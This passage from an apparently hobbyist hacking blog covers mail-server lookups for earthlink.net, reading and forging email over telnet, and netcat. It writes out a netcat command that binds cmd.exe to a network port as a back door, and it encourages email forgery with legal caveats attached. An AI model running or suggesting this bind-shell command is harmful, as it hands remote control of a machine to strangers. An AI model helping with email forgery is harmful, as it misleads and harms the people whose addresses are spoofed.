earthlink.net MX preference = 5, mail exchanger = mx01.earthlink.net
earthlink.net MX preference = 5, mail exchanger = mx02.earthlink.net
earthlink.net MX preference = 5, mail exchanger = mx03.earthlink.net
earthlink.net nameserver = ns3.earthlink.net
earthlink.net nameserver = ns1.earthlink.net
earthlink.net nameserver = ns2.earthlink.net
mx00.earthlink.net internet address = 207.217.120.28
mx01.earthlink.net internet address = 207.217.120.29
mx02.earthlink.net internet address = 207.217.120.79
mx03.earthlink.net internet address = 207.217.120.78
mx04.earthlink.net internet address = 207.217.120.249
mx05.earthlink.net internet address = 207.217.120.31
mx06.earthlink.net internet address = 207.217.120.23
ns1.earthlink.net internet address = 207.217.126.41
ns2.earthlink.net internet address = 207.217.77.42
ns3.earthlink.net internet address = 207.217.120.43 >

Your own online service will usually not mind and may even be glad if you use telnet to read your email. Sometimes a malicious person or faulty email program will send you a message that is so screwed up that your email program can't download it. With telnet you can manually delete the bad email. Otherwise tech support has to do it for you.

If you think about it, this ability to forge email is a huge temptation to spammers. How can your online provider keep the bad guys from filling up a victim's email box with garbage? The first time a bad guy tries this, probably nothing will stop him or her. The second time the online provider might block the bad guy at the firewall, maybe call the bad guy's online provider and kick him or her and maybe get the bad guy busted or sued.

You can go to jail warning: Sending hundreds or thousands of junk emails to bomb
someone's email account is a felony in the US.

You can get sued warning: Spamming, where you send only one email to each person, but send thousands or millions of emails, is borderline legal. However, spammers have been successfully sued when they forge the email addresses of innocent people as senders of their spam.

Now that you know how to read and write email with telnet, you definitely have something you can use to show off with. Happy hacking!

Oh, here's one last goodie for advanced users. Get netcat for Windows. It's a free program written by Weld Pond and Hobbit, and available from many sites, for example http://www.atstake.com/research/tools/#network_utilities . It is basically telnet on steroids. For example, using netcat, you can set up a port on your Windows computer to allow people to telnet into a DOS shell by using this command:

C:\>nc -L -p 5000 -t -e cmd.exe

You can specify a different port number than 5000. Just make sure it doesn't conflict with another port by checking with the netstat command. Then you and your friends, enemies and random losers can either telnet in or netcat in with the command:

C:\>nc -v [ipaddress of target] [port]

Of course you will probably get hacked for setting up this port. However, if you set up a sniffer to keep track of the action, you can turn this scary back door into a fascinating honeypot.

For example, you could run it on port 23 and watch all the hackers who attack with telnet hoping to log in. With some programming you could even fake a unix-like login sequence and play some tricks on your attackers.

Blog Archive

Popular Posts

Friday, August 20, 2010

Windows/UNIX/LINUX : Backdoor with Netcat

Thursday, July 15, 2010

Linux | Win : Netcat and Reverse Telnet

What can I use Netcat for?

Preparing Network Interfaces

Network Connection:

File Transfer

Telnet

Security Notice

Reverse Telnet

Wednesday, June 2, 2010

Tutorial : Netcat

Saturday, October 24, 2009

Hack Win XP via Win XP

Followers

Facebook

Networked Blogs